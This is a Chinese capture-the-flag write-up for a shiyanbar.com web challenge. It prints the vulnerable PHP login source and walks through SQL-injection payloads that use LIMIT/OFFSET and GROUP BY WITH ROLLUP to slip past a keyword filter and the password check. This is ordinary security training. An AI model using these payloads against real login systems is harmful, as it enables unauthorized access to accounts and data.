因缺思汀的绕过——实验吧
因缺思汀的绕过分值:20
- 来源: pcat
- 难度:中
- 参与人数:9534人
- Get Flag:3087人
- 答题人数:3370人
- 解题通过率:92%
访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,
请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。
web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。
flag格式 CTF{}
解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php
解题思路:这一题考察的知识点比较多(可能是我不会的太多了QAQ)
首先,打开链接:
查看源代码就会得到:
看来出题人是希望我们能够看到源代码的呀
加上source.txt
就会得到:
<?php error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die; }function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){$StrValue=implode($StrValue);}if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟,亦可赛艇";exit();} }$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); }$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query);if($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇";} }else{print "一颗赛艇"; } mysql_close($con); ?>
从源码可以看到,$filter进行的关键字符筛选仅仅针对$_POST['pwd'],
所以第二行一定不能带被其识别的关键字,如:select
提交就会出现:
我们接着往下看就会发现限制从数据库返回的数据必须是一行,
在满足filter条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。
注意它的查询语句是
select * from interest where uname = ‘{$_POST[‘uname’]}’
于是构造:
1' or 1 limit 1 offset 0#1' or 1 limit 1 offset 1# 1' or 1 limit 1 offset 2#
发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息
接下来就是想办法绕过if判断,只要if的判断为真就可以通过,于是可以利用group by with rollup来进行绕过,
group by with rollup会在统计后的产生一条null的信息,然后在pwd里面就可以不用写值了,if就为真
payload:1' or 1 group by pwd with rollup limit 1 offset 2#
就会得到答案:
参考资料:
http://php.net/manual/zh/function.preg-match.php
#函数preg_match
http://blog.csdn.net/id19870510/article/details/6254358
#使用 GROUP BY WITH ROLLUP 改善统计性能
http://blog.csdn.net/yplee_8/article/details/52252549
#sql 中 limit 与 limit,offset连用的区别
http://www.w3school.com.cn/sql/sql_groupby.asp
#SQL GROUP BY 语句
http://blog.csdn.net/jiangnan2014/article/details/17229713
#MySQL中with rollup的用法
http://php.freehostingguru.com/function.php-is_array.php
#函数is_array
http://www.w3school.com.cn/php/func_string_implode.asp
#函数 implode
因缺思汀的绕过——实验吧相关推荐
- 实验吧-因缺思厅的绕过writeup
实验吧-因缺思汀的绕过WriteUp 题目地址:http://www.shiyanbar.com/ctf/1940 审计网页代码,发现有一个注释:<!--source: source.txt-- ...
- [实验吧](web)因缺思厅的绕过 源码审计绕过
0x00 直接看源码吧 早上写了个注入fuzz的脚本,无聊回到实验吧的题目进行测试,发现了这道题 地址:http://ctf5.shiyanbar.com/web/pcat/index.php 分析如 ...
- 因缺思厅Qpython爱之初体验
歪瑞歪瑞因缺思厅的APP ---------------------------------除了美观基本上没什么卵用的分割线----------------------------------- Qp ...
- 渗透学习-靶场篇-安全狗的安装与绕过实验(后续还会更新)
提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.安装安全狗 二.sql注入的绕过实验 判断注入点 判断列数量 union联合注入 拿库 ...
- 【文件包含漏洞-02】文件包含漏洞分类与原理及其空字符安全绕过实验
文件包含漏洞 文件包含(file inclusion)漏洞,当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include ...
- 因缺思厅的程序员故事
1.面试 面试官:熟悉哪种语言? 应聘者:C# 面试官:知道什么叫类么? 应聘者:我这人实在,工作努力,不知道什么叫累. 面试官:知道什么是包? 应聘者:我这人实在,平常不带包,也不用公司 ...
- php逻辑难是难在sql,[实验吧] 所有web writeup
实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...
- 实验吧web题(26/26)全writeup!超详细:)
#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...
- CTSC2016APIO2016游记
4.30 下午衡中放假,我们因为比赛的缘故提前到中午12:00放假 然后我爸爸说要来接我,直到下午两点多他才到,然后衡中宿舍的楼管阿姨死活不给我开门 莫名其妙的等到了三点多快四点的时候我才跟实验班的一 ...
最新文章
- UI5 table display visible row count logic calculation calculate
- c语言编程微信公众号图片直播,如何以图片的形式在微信公众号文章中添加小程序...
- dom选择方法的区别
- 开启防火墙并添加出入站规则
- JAVA-date(计算时间差)
- Mongo集群分片部署实践(4.2版本)
- linux创建raid5分区,linux RAID5 创建过程以及raid5扩容步骤(软raid)
- CustomValidator 的客户端验证
- 薅羊毛专业版助手,支持抖音/快手/京东/刷宝等50多个APP自动签到领红包,分享源码互相学习
- 解决space-evenly在部分浏览器不兼容的问题
- Turtle 画正方形螺旋线
- 云e办学习笔记(四)SpringSecurity学习(二)
- 零基础入门网络安全最直线距离的学习路线
- 大学计算机教育国外著名教材系列 数据结构,经典数据结构(Java语言版)(影印版)——大学计算机教育国外著名教材系列...
- 信息差副业小项目,高利润,新手日入500+
- 自学个JAVA编程有什么用_怎样自学java编程
- 系统集成项目管理工程师案例分析考点汇总(范围管理)
- 【工作经验分享】,大厂面试经验分享
- X230网卡驱动安装总不成功的问题
- 使用Python辅助ArcGIS出图-使用ArcToolbox
热门文章
- Docker基础(3)——基础网络模型
- redis——哈希(hash)
- Angular开发实践(五):深入解析变化监测
- ODBC的JAR包和PLSQL
- UID 修改 UID 锁死修复
- stripslashes和addslashes的使用方法
- nginx: [warn] conflicting server name localhost on 0.0.0.0:80, ignored
- 转载:Python正则表达式
- Android Camera 3D效果
- (libgdx学习)Continuous non continuous rendering